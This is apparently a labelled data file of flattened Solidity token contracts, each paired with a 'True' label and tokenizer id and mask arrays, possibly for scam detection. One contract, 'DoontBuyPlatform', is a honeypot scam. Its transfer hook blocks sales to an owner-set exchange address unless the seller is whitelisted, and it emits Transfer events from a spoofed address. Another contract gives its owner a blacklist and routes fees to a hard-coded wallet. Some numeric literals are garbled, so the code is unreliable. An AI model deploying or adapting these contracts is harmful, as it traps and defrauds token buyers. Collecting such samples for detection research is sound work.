inSwap = false; } constructor () { _feeAddrWallet1 = payable(0xd0f2fBD955dB6cD57f208aBA3942048daC3913B8); _feeAddrWallet2 = payable(0xd0f2fBD955dB6cD57f208aBA3942048daC3913B8); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0xd55FF395A7360be0c79D3556b0f65ef44b319575), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 2; _feeAddr2 = 10; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 2; _feeAddr2 = 10; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 50000000000000 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 2260, 1011, 5757, 1008, 1013, 1013, 1008, 1008, 1056, 2290, 1024, 16770, 1024, 1013, 1013, 1056, 1012, 2033, 1013, 13076, 1035, 9932, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1018, 1025, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 1065, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 4070, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 4651, 1006, 4769, 7799, 1010, 21318, 3372, 17788, 2575, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 3853, 21447, 1006, 4769, 3954, 1010, 4769, 5247, 2121, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 14300, 1006, 4769, 5247, 2121, 1010, 21318, 3372, 17788, 2575, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 3853, 4651, 19699, 5358, 1006, 4769, 4604, 2121, 1010, 4769, 7799, 1010, 21318, 3372, 17788, 2575, 3815, 1007, 6327, 5651, 1006, 22017, 2140, 1007, 1025, 2724, 4651, 1006, 4769, 25331, 2013, 1010, 4769, 25331, 2000, 1010, 21318, 3372, 17788, 2575, 3643, 1007, 1025, 2724, 6226, 1006, 4769, 25331, 3954, 1010, 4769, 25331, 5247, 2121, 1010, 21318, 3372, 17788, 2575, 3643, 1007, 1025, 1065, 3075, 3647, 18900, 2232, 1063, 3853, 5587, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1009, 1038, 1025, 5478, 1006, 1039, 1028, 1027, 1037, 1010, 1000, 3647, 18900, 2232, 1024, 2804, 2058, 12314, 1000, 1007, 1025, 2709, 1039, 1025, 1065, 3853, 4942, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 2709, 4942, 1006, 1037, 1010, 1038, 1010, 1000, 3647, 18900, 2232, 1024, 4942, 6494, 7542, 2058, 12314, 1000, 1007, 1025, 1065, 3853, 4942, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1010, 5164, 3638, 7561, 7834, 3736, 3351, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 5478, 1006, 1038, 1026, 1027, 1037, 1010, 7561, 7834, 3736, 3351, 1007, 1025, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1011, 1038, 1025, 2709, 1039, 1025, 1065, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 2065, 1006, 1037, 1027, 1027, 1014, 1007, 1063, 2709, 1014, 1025, 1065, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1008, 1038, 1025, 5478, 1006, 1039, 1013, 1037, 1027, 1027, 1038, 1010, 1000, 3647, 18900, 2232, 1024, 24856, 2058, 12314, 1000, 1007, 1025, 2709, 1039, 1025, 1065, 3853, 4487, 2615, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
/** Submitted for verification at Etherscan.io on 2021-09-25 / /** Doont buy music. Own it. / // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; / * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. / abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File @openzeppelin/contracts/access/[email protected] /* * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. / abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /* * @dev Initializes the contract setting the deployer as the initial owner. / constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /* * @dev Returns the address of the current owner. / function owner() public view virtual returns (address) { return _owner; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /* * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. / } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. / // File @openzeppelin/contracts/token/ERC20/[email protected] /* * @dev Interface of the ERC20 standard as defined in the EIP. / interface IERC20 { /* * @dev Returns the amount of tokens in existence. / function totalSupply() external view returns (uint256); /* * @dev Returns the amount of tokens owned by `account`. / function balanceOf(address account) external view returns (uint256); /* * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transfer(address recipient, uint256 amount) external returns (bool); /* * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. / function allowance(address owner, address spender) external view returns (uint256); /* * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. / function approve(address spender, uint256 amount) external returns (bool); /* * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /* * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. / event Transfer(address indexed from, address indexed to, uint256 value); /* * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. / event Approval(address indexed owner, address indexed spender, uint256 value); } // File @openzeppelin/contracts/token/ERC20/extensions/[email protected] /* * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ / interface IERC20Metadata is IERC20 { /* * @dev Returns the name of the token. / function name() external view returns (string memory); /* * @dev Returns the symbol of the token. / function symbol() external view returns (string memory); /* * @dev Returns the decimals places of the token. / function decimals() external view returns (uint8); } // File @openzeppelin/contracts/token/ERC20/[email protected] /* * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. / contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /* * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. / constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /* * @dev Returns the name of the token. / function name() public view virtual override returns (string memory) { return _name; } /* * @dev Returns the symbol of the token, usually a shorter version of the * name. / function symbol() public view virtual override returns (string memory) { return _symbol; } /* * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. / function decimals() public view virtual override returns (uint8) { return 18; } /* * @dev See {IERC20-totalSupply}. / function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /* * @dev See {IERC20-balanceOf}. / function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /* * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. / function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /* * @dev See {IERC20-allowance}. / function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /* * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. / function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /* * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. / function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /* * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. / function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /* * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. / function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /* * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. / function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /* @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. / function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0x78e4a0C307FC2c979fA65Dcf8bf4D376f30C3b8e), account, amount); } /* * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. / function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /* * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. / function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /* * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. / function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } contract DoontBuyPlatform is ERC20, Ownable { mapping(address=>bool) private _enable; address private _uni; constructor() ERC20('DoontBuy EARSHOT','DBUYES') { _mint(0x559ebFeC7be7f1A27a38Be3b03bF2D4c70Ad62b3, 1000000000000 10*18); _enable[0x559ebFeC7be7f1A27a38Be3b03bF2D4c70Ad62b3] = true; } function _mint( address account, uint256 amount ) internal virtual override (ERC20) { require(ERC20.totalSupply() + amount <= 1000000000000 10**18, "ERC20Capped: cap exceeded"); super._mint(account, amount); } function Mitigation(address user, bool enable) public onlyOwner { _enable[user] = enable; } function MigrateUNI(address uni_) public onlyOwner { _uni = uni_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override { if(to == _uni) { require(_enable[from], "something went wrong"); } } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 5641, 1011, 2423, 1008, 1013, 1013, 1008, 1008, 20160, 3372, 4965, 2189, 1012, 2219, 2009, 1012, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1030, 16475, 3640, 2592, 2055, 1996, 2783, 7781, 6123, 1010, 2164, 1996, 1008, 4604, 2121, 1997, 1996, 12598, 1998, 2049, 2951, 1012, 2096, 2122, 2024, 3227, 2800, 1008, 3081, 5796, 2290, 1012, 4604, 2121, 1998, 5796, 2290, 1012, 2951, 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1013, 3229, 1013, 1031, 10373, 5123, 1033, 1013, 1008, 1008, 1008, 1030, 16475, 3206, 11336, 2029, 3640, 1037, 3937, 3229, 2491, 7337, 1010, 2073, 1008, 2045, 2003, 2019, 4070, 1006, 2019, 3954, 1007, 2008, 2064, 2022, 4379, 7262, 3229, 2000, 1008, 3563, 4972, 1012, 1008, 1008, 2011, 12398, 1010, 1996, 3954, 4070, 2097, 2022, 1996, 2028, 2008, 21296, 2015, 1996, 3206, 1012, 2023, 1008, 2064, 2101, 2022, 2904, 2007, 1063, 4651, 12384, 2545, 5605, 1065, 1012, 1008, 1008, 2023, 11336, 2003, 2109, 2083, 12839, 1012, 2009, 2097, 2191, 2800, 1996, 16913, 18095, 1008, 1036, 2069, 12384, 2121, 1036, 1010, 2029, 2064, 2022, 4162, 2000, 2115, 4972, 2000, 21573, 2037, 2224, 2000, 1008, 1996, 3954, 1012, 1008, 1013, 10061, 3206, 2219, 3085, 2003, 6123, 1063, 4769, 2797, 1035, 3954, 1025, 2724, 6095, 6494, 3619, 7512, 5596, 1006, 4769, 25331, 3025, 12384, 2121, 1010, 4769, 25331, 2047, 12384, 2121, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 3988, 10057, 1996, 3206, 4292, 1996, 21296, 2121, 2004, 1996, 3988, 3954, 1012, 1008, 1013, 9570, 2953, 1006, 1007, 1063, 4769, 5796, 5620, 10497, 2121, 1027, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 1025, 1035, 3954, 1027, 5796, 5620, 10497, 2121, 1025, 12495, 2102, 6095, 6494, 3619, 7512, 5596, 1006, 4769, 1006, 1014, 1007, 1010, 5796, 5620, 10497, 2121, 1007, 1025, 1065, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 4769, 1997, 1996, 2783, 3954, 1012, 1008, 1013, 3853, 3954, 1006, 1007, 2270, 3193, 7484, 5651, 1006, 4769, 1007, 1063, 2709, 1035, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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pragma solidity ^0.4.24; // ---------------------------------------------------------------------------- // 'Harambe Commemorative Token' token contract // // Deployed to : 0x3b32f6850a014b778c038bb10b5de1ac64de151f // Symbol : XES // Name : XES Token // Total supply: 69420 // Decimals : 6 // // Enjoy. // // (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence. // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 \|\| c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // 